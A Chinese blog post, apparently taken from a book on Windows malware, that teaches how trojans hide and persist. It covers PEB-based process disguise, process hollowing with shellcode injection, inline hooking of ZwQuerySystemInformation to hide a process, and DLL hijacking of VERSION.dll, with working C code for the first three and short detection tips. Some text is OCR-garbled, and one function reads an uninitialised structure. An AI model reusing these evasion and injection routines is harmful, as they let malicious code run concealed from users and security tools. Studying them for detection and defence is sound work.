持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第5天
前言
为了永久地驻留在用户计算机上,病毒木马需要披上厚厚的伪装。
所以,做好隐藏、伪装工作是病毒木马长期驻留在用户计算机上的关键。 但是,也并非所有的病毒木马都会故意地隐藏或伪装,有些病毒木马由于自身植人技术、启动技术或是自启动技术较为隐蔽,不易被用户察觉或是被杀软检测到,所以不需要额外的隐藏伪装,也能达到隐藏的目的。
后门技术:病毒木马长期驻留在用户计算机上的技术,例如 自启动技术
本章主要介绍4种隐藏、伪装技术:
- 进程伪装:通过修改指定进程PEB中的路径和命令行信息实现伪装。
- 傀儡进程:通过进程挂起,替换内存数据再恢复执行,从而实现创建“傀儡”进程。
- 进程隐藏:通过HOOK函数ZwQuerySystemInformation实现进程隐藏。
- DLL劫持:通过抑ragma comment指令直接转发DLL导出函数或者通过LoadLibrary和GetProcAddress函数获取DLL导出函数并调用。
进程伪装
对于病毒木马来说,最简单的进程伪装方式就是修改进程名称。例如,将本地文件名称修改为svchost..exe、services.exe等系统进程,从而不被用户和杀软发现。接下来,将要介绍的进程伪装可以修改任意指定进程的信息,即该进程信息在系统中显示的是另一个进程的信息。 这样,指定进程与伪装进程的信息相同,但实际上,它还执行着原来进程的操作,这就达到了伪装的目的。
函数介绍
NtQueryInformationProcess函数
NTSTATUS
NTAPI
NtQueryInformationProcess (
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
ProcessHandle:
要获取信息的进程句柄。
ProcessInformationClass:
要获取的进程信息的类型。
该参数可以是PROCESSINFOCLASS枚举中的以下值之一。
ProcessInformation:
指向由应用程序提供的缓冲区指针,函数写入请求的信息。
所写信息的大小取决于ProcessInformationClass参数的数据类型。当ProcessInformationClass参数为ProcessBasicInformation时,ProcessInformation参数指向的缓冲区应足够大,以容纳具有以下布局的单个PROCESS BASIC INFORMATION结构。
ProcessInformationLength:
ProcessInformation参数指向的缓冲区大小(以字节为单位)。
ReturnLength:
指向变量的指针,其中函数返回所请求信息的大小。如果函数成功,则这是由ProcessInformation参数指向缓冲区的信息大小,但是如果缓冲区太小,则这是成功接收信息所需的最小缓冲区大小。
返回值:
该函数返回一个NTSTATUS成功或错误代码。
PROCESS_BASIC_INFORMATION结构体
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
PebBaseAddress成员指向PEB结构。
UniqueProcessld成员指向该过程的系统唯一标识符。最好使用GetProcessId函数来检索这些信息。
该结构的其他成员保留以供操作系统内部使用。
原理
进程伪装的原理:修改指定进程环境块中的进程路径以及命令行信息,从而达到进程伪装的效果。所以,实现的关键在于进程环境块的获取。由上述的函数介绍可知,可以通过ntdll.dll中的导出函数NtQueryInformationProcess来获取指定进程的PEB地址。
获取目标进程的PEB之后,并不能直接根据指针来读写内存数据,因为该程序进程可能与目标进程并不在同一个进程内。由于进程空间独立性的缘故,所以需要通过调用WN32API函数ReadProcessMemory和WriteProcessMemory来读写目标进程内存。 具体的实现流程如下所示:
- 根据进程的PD号打开指定进程,并获取进程的句柄。
- 从ntdll.dll中获取NtQueryInformationProcess函数的导出地址,因为该函数没有关联导入库,以只能动态获取,这个函数是这个程序功能实现的关键步骤。
- 使用NtQueryInformationProcess函数获取指定的进程基本信息PROCESS BASIC INFORMATION,并从中获取指定进程的PEB。
- 就可以根据进程环境块中的ProcessParameters来获取指定进程的RTL_USER_PROCESS_PARAMETERS信息,这是因为PEB的路径信息、命令行信息存储在这个结构体中。 调用ReadProcessMemory和WriteProcessMemory函数可以修改PEB中的路径信息、命令行信息等,从而实现进程伪装。 经过上述操作,便可完成进程伪装工作。
代码实现
// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装,并使用Process Explorer查看
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t *lpwszPath, wchar_t *lpwszCmd)
{
// 打开进程获取句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
{
ShowError("GetProcAddress");
return FALSE;
}
// 获取指定进程的基本信息
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
{
ShowError("NtQueryInformationProcess");
return FALSE;
}
/*
注意在读写其他进程的时候,注意要使用ReadProcessMemory/WriteProcessMemory进行操作,
每个指针指向的内容都需要获取,因为指针只能指向本进程的地址空间,必须要读取到本进程空间。
要不然一直提示位置访问错误!
*/
// 获取指定进程进本信息结构中的PebBaseAddress
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// 修改指定进程环境块PEB中命令行信息, 注意指针指向的是指定进程空间中
usCmdLen = 2 + 2 * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
// 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中
usPathLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
PROCESS_BASIC_INFORMATION pbi2 = { 0 };
PEB peb2 = { 0 };
RTL_USER_PROCESS_PARAMETERS Param2 = { 0 };
::ReadProcessMemory(hProcess, pbi2.PebBaseAddress, &peb2, sizeof(peb2), NULL);
// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中
::ReadProcessMemory(hProcess, peb2.ProcessParameters, &Param2, sizeof(Param2), NULL);
printf("pathName: %s\n", Param2.ImagePathName.Buffer);
printf("commandLine: %s\n", Param2.CommandLine.Buffer);
return TRUE;
}
注意:测试请用Process Explorer,因为其原理是直接获取PE路径,而其他的,例如Process Hacker是通过映像路径转为文件路径的,不存在隐藏成功的情况。
小结
修改PEB实现进程伪装的原理不难理解,但是有个容易出错的地方,它就是一定要区分指针指向的是指定进程的空间还是本程序的空间,若指向其他进程空间,则一律使用ReadProcessMemory和WriteProcessMemory函数进行数据读写。 同时也要注意系统位数问题,如果PEB修改程序运行在64位系统上,那么程序就要编译为64位程序;如果PEB修改程序运行在32位系统上,则程序要编译为32位程序,否则程序不能伪装成功。
调用GetModuleFileNameEx、GetProcessImageFileName或者QueryFullProcessImageName等函数可以获取伪装进程的正确路径。
傀儡进程
傀儡进程本质上就像披着羊皮的狼,巧借正常的软件进程或是系统进程的外壳来执行非正常的恶意操作,它的实现难度不大,所以病毒木马常用来作为驻留隐藏的手段。
函数介绍
GetThreadContext函数
获取指定线程的上下文。64位应用程序可以使用Wow64 GetThreadContext函数来检索WOW64线程的上下文。
WINBASEAPI
BOOL
WINAPI
GetThreadContext(
__in HANDLE hThread,
__inout LPCONTEXT lpContext
);
hThread
要检索其上下文的线程句柄。该句柄必须具有对线程的THREAD GET CONTEXT访问权限。WOW64也必须有对THREAD QUERY INFORMATION的访问权限。
lpContext
指向上下文结构的指针,它接收指定线程适当的上下文。该结构中的ContextFlags成员可以指定检索线程上下文的哪些部分。上下文结构具有高度的处理器特性。
返回值:
如果函数成功,则返回值不为零。
如果函数失败,则返回值为零。
SetThreadContext函数
设置指定线程的上下文。64位应用程序可以使用Wow64 SetThreadContext函数设置WOW64线程的上下文。
WINBASEAPI
BOOL
WINAPI
SetThreadContext(
__in HANDLE hThread,
__in CONST CONTEXT *lpContext
);
hThread
要检索其上下文的线程句柄。该句柄必须具有对线程的THREAD GET CONTEXT访问权限。WOW64也必须有对THREAD QUERY INFORMATION的访问权限。
lpContext
指向上下文结构的指针,它接收指定线程适当的上下文。该结构中的ContextFlags成员可以指定检索线程上下文的哪些部分。上下文结构具有高度的处理器特性。
返回值:
如果函数成功,则返回值不为零。
如果函数失败,则返回值为零。
ResumeThread函数
减少线程的暂停计数。当暂停计数递减到零时,恢复线程的执行。
WINBASEAPI
DWORD
WINAPI
ResumeThread(
__in HANDLE hThread
);
hThread
要重新启动线程的句柄。该句柄必须具有THREAD SUSPEND RESUME权限。
原理
傀儡进程的创建原理就是修改某一进程的内存数据,向内存中写入Shellcode代码,并修改该进程的执行流程,使其转而执行Shellcode代码。这样,进程还是原来的进程,但执行的操作却替换了。
要想创建傀儡进程,有两个关键技术点:
- 是写人Shellcode数据的时机,
- 是更改执行流程的方法。
通过上述的函数介绍可以知道,CreateProcess提供CREATE SUSPENDED作为线程建立后主进程挂起等待的标志,这时主线程处于挂起状态,不往下执行代码,直到通过ResumeThread恢复线程,方可继续执行。而且SetThreadContext函数可以修改线程上下文中的EP数据,学过汇编语言的读者应该知道,更改指令指针EP,便可改变程序的执行顺序。
创建傀儡进程的具体实现流程如下所示:
- 调用CreateProcess函数创建进程,并且设置进程的标志为CREATE SUSPENDED,即表示创建进程的主线程会挂起。
- 调用VirtualAllocEx函数在新进程中申请一个可读、可写、可执行的内存,并调用WriteProcessMemory函数写人Shellcode数据。当然,考虑到傀儡进程的内存占用过大的问题,也可以调用ZwUnmapViewOfSection函数来卸载傀儡进程并加载模块。
- 调用GetThreadContext,设置获取标志为CONTEXT FULL,即获取新进程中所有线程的上下文。并修改线程上下文指令指针EP的值,更改主线程的执行顺序,再将修改过的线程上下文通过SetThreadContext函数设置回主线程中。
- 调用ResumeThread恢复主线程,让进程按照修改后的EIP继续运行。这样,系统就会执行注入的Shellcode代码。
在上述步骤中,当使用CreateProcess创建进程时,若创建标志为CREATE SUSPENDED,则表示新进程的主线程会创建为挂起状态,直到使用ResumeThread函数恢复主线程,进程才会继续运行。其中,要注意的是,在使用GetThreadContext获取线程上下文的时候,一定要对上下文结构中的ContextFlags成员赋值,指明要检索线程上下文的哪些部分,否则会导致程序不能实现到想要的效果。在本书中,ContextFlags赋值为CONTEXT_FULL,这表示获取所有线程的上下文信息。
代码实现
// 创建进程并替换进程内存数据, 更改执行顺序
BOOL ReplaceProcess_Win32(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT threadContext = { 0 };
BOOL bRet = FALSE;
::RtlZeroMemory(&si, sizeof(si));
::RtlZeroMemory(&pi, sizeof(pi));
::RtlZeroMemory(&threadContext, sizeof(threadContext));
si.cb = sizeof(si);
// 创建进程并挂起主线程
bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (FALSE == bRet)
{
ShowError("CreateProcess");
return FALSE;
}
// 读取基址的方法: 此时context中的EBX是指向PEB的指针, 而在PEB偏移是8的位置存放 PEB_LDR_DATA 的地址
// 我们可以根据 PEB_LDR_DATA 获取进程基址以及遍历进程链获取所有进程
// DWORD dwProcessBaseAddr = 0;
// ::ReadProcessMemory(pi.hProcess, (LPVOID)(8 + threadContext.Ebx), &dwProcessBaseAddr, sizeof(dwProcessBaseAddr), NULL);
// 在替换的进程中申请一块内存
LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == lpDestBaseAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 写入替换的数据
bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
if (FALSE == bRet)
{
ShowError("WriteProcessError");
return FALSE;
}
// 获取线程上下文
// 注意此处标志,一定要写!!!
threadContext.ContextFlags = CONTEXT_FULL;
bRet = ::GetThreadContext(pi.hThread, &threadContext);
if (FALSE == bRet)
{
ShowError("GetThreadContext");
return FALSE;
}
// 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址
printf("before thread EIP:0x%p\n", threadContext.Eip);
printf("DestBaseAddress:0x%p\n", lpDestBaseAddr);
printf("Shellcode StartAddress:0x%p\n", (LPVOID)((DWORD)lpDestBaseAddr + dwRunOffset));
threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;
//threadContext.Eax = (DWORD)lpDestBaseAddr + dwRunOffset;
// 设置挂起进程的线程上下文
bRet = ::SetThreadContext(pi.hThread, &threadContext);
if (FALSE == bRet)
{
ShowError("SetThreadContext");
return FALSE;
}
// 恢复挂起的进程的线程
::ResumeThread(pi.hThread);
return TRUE;
}
小结
在理解这个程序的原理后,你会发现它的巧妙之处在于CreateProcess函数的创建标志CREATE SUSPENDED,即表示创建进程的主线程被挂起,这就给了病毒木马发挥想象的时机和空间。 在编码实现的过程中,要特别注意线程上下文中GetThreadContext函数的使用,记得要对上下文结构中的ContextFlags成员赋值,指明要检索线程上下文的哪些部分,否则线程的上下文就会获取失败。
通过对SetThreadContext函数挂钩APL,可以监控线程上下文的修改操作,从而拦截傀儡进程的启动。
进程隐藏
实现进程隐藏的方法有很多,本节介绍的是一种较为直接的隐藏方式,即通过HOOK API函数实现。在Windows中,用户程序的所有操作都是基于WN32API来实现的,例如使用任务管理器查看进程等操作,这便给了病毒木马大显身手的机会。它通过HOOK技术拦截API函数的调用,并对数据进行监控和篡改,从而达到不可告人的目的。
API HOOK技术:通过HOOK技术拦截API函数的调用,并对数据进行监控和篡改,从而达到不可告人的目的。
函数介绍
ZwQuerySystemInformation函数
NTSYSCALLAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
SystemInformationClass
要检索系统的信息类型。例如,检索类型SystemProcessInformation(5)表示检索系统的进程信息。
SystemInformation
指向缓冲区的指针,用于接收请求的信息。该信息的大小和结构取决于SystemInformationClass参数的值。例如,检索类型为SystemProcessInformation(5)的缓冲区为SYSTEM_PROCESS NFORMATION结构数组。
SystemInformationLength
SystemInformation参数指向的缓冲区大小(以字节为单位)o ReturnLength 【out,optional】
一个可选的指针,指向函数写入请求信息的实际大小的位置。
返回值
返回NTSTATUS成功或错误代码。
NTSTATUS错误代码的形式和意义在DDK提供的Ntstatus.h头文件中列出,并在DDK文档中进行了说明。
此功能没有关联的导入库。必须使用LoadLibrary和GetProcAddress函数动态链接到ntdll.dll
原理
WN32API函数有很多,为什么只有HOOK函数ZwQuerySystemInformation可以实现进程隐藏呢?那是由于遍历进程通常是通过调用WN32API函数EnumProcesses或是CreateToolhelp.32 Snapshot等来实现的。通过跟踪逆向这些WN32API函数可知,它们内部最终是通过调用ZwQuerySystemInformation函数来检索系统进程信息的,从而实现进程遍历操作。
所以,程序只需要HOOK ZwQuerySystemInformation这一个函数就足够了。在ZwQuerySystem Information函数的内部判断检索的信息是否是进程信息,若是,则对返回的进程信息进行修改,将隐藏的进程信息从中去掉再返回。因此只要是通过调用ZwQuerySystemInformation来检索系统进程的,获取到的数据均是被篡改的,自然获取不到隐藏进程的信息,这样,指定进程就被隐藏起来了。
要实现进程隐藏技术的前提就是要先掌握API HOOK技术,然后学习如何修改ZwQuerySystemInformation HOOK函数中的数据。接下来就先介绍在32和64位系统上API HOOK的具体原理和实现方法。
代码实现
INLINE HOOK API技术
Inline HOOk API的核心原理是在获取进程中指定API函数的地址后,修改该API函数入口地址的前几个字节数据,写入一个跳转指令,使其跳转到自定义的新函数中去执行。
要注意区分32位系统和64位系统,因为32位和64位系统的指针长度是不同的,这会导致地址长度也不同。32位系统中用4字节表示地址,而64位系统中使用8字节来表示地址。
在32位系统中,汇编跳转语句可以是:
所以,要想进行Inline HOOK操作,32位系统需要更改函数的前5字节数据;而64位系统则需要更改前12字节数据。
Inline HOOK的具体流程如下所示:
- 先获取API函数的地址。可以从进程中获取HOOK API对应的模块基址,这样,就可以通过GetProcAddress函数获取API函数在进程中的地址。
- 根据32位和64位版本,计算需要修改HOOK API函数的前几字节数据。若是32位系统,则需要计算跳转偏移,并修改函数的前5字节数据;若是64位系统,则需修改函数的前12字节数据。
- 修改API函数的前几字节数据的页面保护属性,更改为可读、可写、可执行,这样是为了确保修改后内存能够执行。
- 为了能够还原操作,要在修改数据前先对数据进行备份,然后再修改数据,并还原页面保护属性。
UNHOOK的流程基本上和HOOK的流程是一样的,只不过它写入的数据是HOOK操作备份的前几字节数据。这样,API函数便可以恢复正常。
void UnhookApi()
{
// 获取 ntdll.dll 的加载基址, 若没有则返回
HMODULE hDll = ::GetModuleHandle("ntdll.dll");
if (NULL == hDll)
{
return;
}
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
return;
}
// 设置页面的保护属性为 可读、可写、可执行
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 32 位下还原前 5 字节, 64 位下还原前 12 字节
#ifndef _WIN64
// 还原
::RtlCopyMemory(ZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));
#else
// 还原
::RtlCopyMemory(ZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));
#endif
// 还原页面保护属性
::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}
ZwQuerySystemInformation HOOK函数
ZwQuerySystemInformation HOOK函数所执行的操作就是判断是否是检索系统的进程信息,若是,则剔除隐藏进程的信息,将修改后的数据返回。
具体的实现流程如下所示:
- 使用UnHOOK API,防止因多次同时访间HOOK函数而造成数据混乱,导致数据修改失败。同一时间,应该只有一个线程访问HOOK函数。
- 通过GetProcAddress函数从ntdl.dl中获取ZwQuerySystemInformation函数地址并调用执行,检索并获取系统信息。
- 判断检索消息类型是否是进程信息,若是则遍历检索结果,从中剔除隐藏进程的消息。
- 数据修改完毕后,继续执行HOOK操作,并返回结果。
NTSTATUS New_ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
)
{
NTSTATUS status = 0;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
// 要隐藏的进程PID
DWORD dwHideProcessId = 96;
// UNHOOK API
UnhookApi();
// 获取 ntdll.dll 的加载基址, 若没有则返回
HMODULE hDll = ::GetModuleHandle("ntdll.dll");
if (NULL == hDll)
{
return status;
}
// 获取 ZwQuerySystemInformation 函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
{
return status;
}
// 调用原函数 ZwQuerySystemInformation
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE)
{
// 判断是否是要隐藏的进程PID
if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
{
if (0 == pCur->NextEntryOffset)
{
pPrev->NextEntryOffset = 0;
}
else
{
pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
}
}
else
{
pPrev = pCur;
}
if (0 == pCur->NextEntryOffset)
{
break;
}
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
}
}
// HOOK API
HookApi();
return status;
}
小结
进程隐藏的关键是掌握nline HOOK技术原理,同时需要注意以下两个问题:
- 是在修改导出函数地址的前几字节数据的时候,建议先对页面属性保护重新设置,可以调用VirtualProtect函数将页面属性保护设置成可读、可写、可执行的属性PAGE EXECUTE READWRITE,这样可以避免在对内存操作的时候报错。
- 是HOOK函数声明一定要加上WINAPI(stdcal1)函数的调用约定,否则新函数会默认使用C语言的调用约定,这会导致在函数返回过程中,因堆栈不平衡而报错。
注意:通过对比ZwQuerySystemInformation函数所在的PE文件在本地和内存中的数据,可以检测是否存在Inline Hook。
DLL劫持
DLL劫持技术:如果在进程尝试加载一个DLL时,没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一个目录,并且放一个恶意的DLL文件到这个目录下,那么这个恶意的DLL便会由进程加载,进程会执行DLL中的代码,这就是所谓的DLL劫持。
函数介绍
略
原理
DLL劫持技术的原理是当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出需要的DLL,并将它们映射到进程的地址空间中。由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。
搜索DLL文件的顺序如下所示:
- 程序所在目录。
- 系统目录。
- 16位系统目录。
- Windows目录。
- 当前目录。
- PATH环境变量中的各个目录。
首先 系统会尝试从当前程序所在的目录中加载DLL;如果没找到,则在系统目录中查找;如果没找到,则在16位系统日录中寻找;如果没找到,在Windows系统目录中查找;如果没找到,则在当前目录中查找;如果没找到,则在环境变量列出的各个目录下查找。
利用搜索路径的这个特点,先伪造一个与系统同名的DLL,提供同样的输出表,并使每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前程序所在目录下的伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程就是DLL劫持。
为了使程序在加载了劫持的DLL后还能正常执行,劫持DLL导出函数的名称和功能必须要与原来的DLL相同。可以有两种方式来调用原来DLL的导出函数:
- 一种是直接转发DLL函数
- 另一种是调用DLL函数。
代码实现
本节介绍的DLL劫持技术分为两种方式,一种是通过pragma comment指令直接转发DLL函数,另一种是通过LoadLibrary和GetProcAddress函数来调用DLL函数。接下来,我们在64位Windows 10系统上分别对这两种实现方法进行测试。 首先,先测试直接转发DLL函数的方法。将上述直接转发DLL函数方法的DLL文件DIlHijack_Test.dll以及C:\Windows\SysWOW64\VERSION.dll文件复制到Test.exe程序所在目录下,并将VERSION.dl文件名改为OLD VERSION.dll,DIIHijack_Test.dll文件名改为VERSION.dll,以此劫持系统目录下的VERSION.dll文件。然后直接双击运行Test.exe,它会成功弹出劫持成功的提示框,如图7-6所示。
然后,测试调用DLL函数的方法。将上述调用DLL函数方法的DLL文件DllHijack2Test.d山复制到Test.exe文件所在目录下,并将DllHijack2Test.dll文件重命名为VERSION.dll,以此劫持系统目录下的VERSION.dll文件。然后直接双击运行Test.exe,它也会成功弹出劫持成功的提示框,如图7-7所示。
小结
在DLL的路径程序中写的是C:1 Windows\System32 VERSION.dll。在64位系统中,System32目录中的DLL都是64位的。如果32位程序在默认情况下访问System32目录,则它会被重定向到C.Windows\SysW0W64目录。64位系统为了兼容32位程序,将32位的库和系统应用程序存放在SysWoW64文件夹下。默认情况下,32位程序会由文件重定向,可以调用Wow64 DisableWow64 FsRedirection函数和Wow64 RevertWow64 FsRedirection函数来关闭文件重定向和恢复文件重定向。
本节介绍的调用函数的方法仅适用于劫持32位的DLL程序,不适用64位DLL程序。因为declspec(naked)关键字不支持64位,而且64位系统也不支持asm内联汇编。而通过 #pragma comment关键字直接转发函数的方法既适用于32位DLL劫持,也适用64位DLL劫持」 但是直接转发函数的方法需要更改原来的DLL名称,这样才能顺利加载原来的DLL模块,否则,会导致加载DLL的过程出现死锁。
无论是直接转发函数方法还是调用函数方法,它们都有明显的规律可循,关键是遍历劫持DLL的导出函数。所以,当遇到劫持的DLL有很多个导出函数的时候,手动编写劫持代码就是一个纯粹的体力劳动了。因此,前人开发了专门用来生成DLL劫持代码的工具,例如AheadLibo
调用GetModuleFileNameEx函数可以获取加载模块的路径,根据当前程序路径和模块加载路径能够判断出是否存在DLL劫持。
总结
进程伪装隐藏技术 往往用于留后门.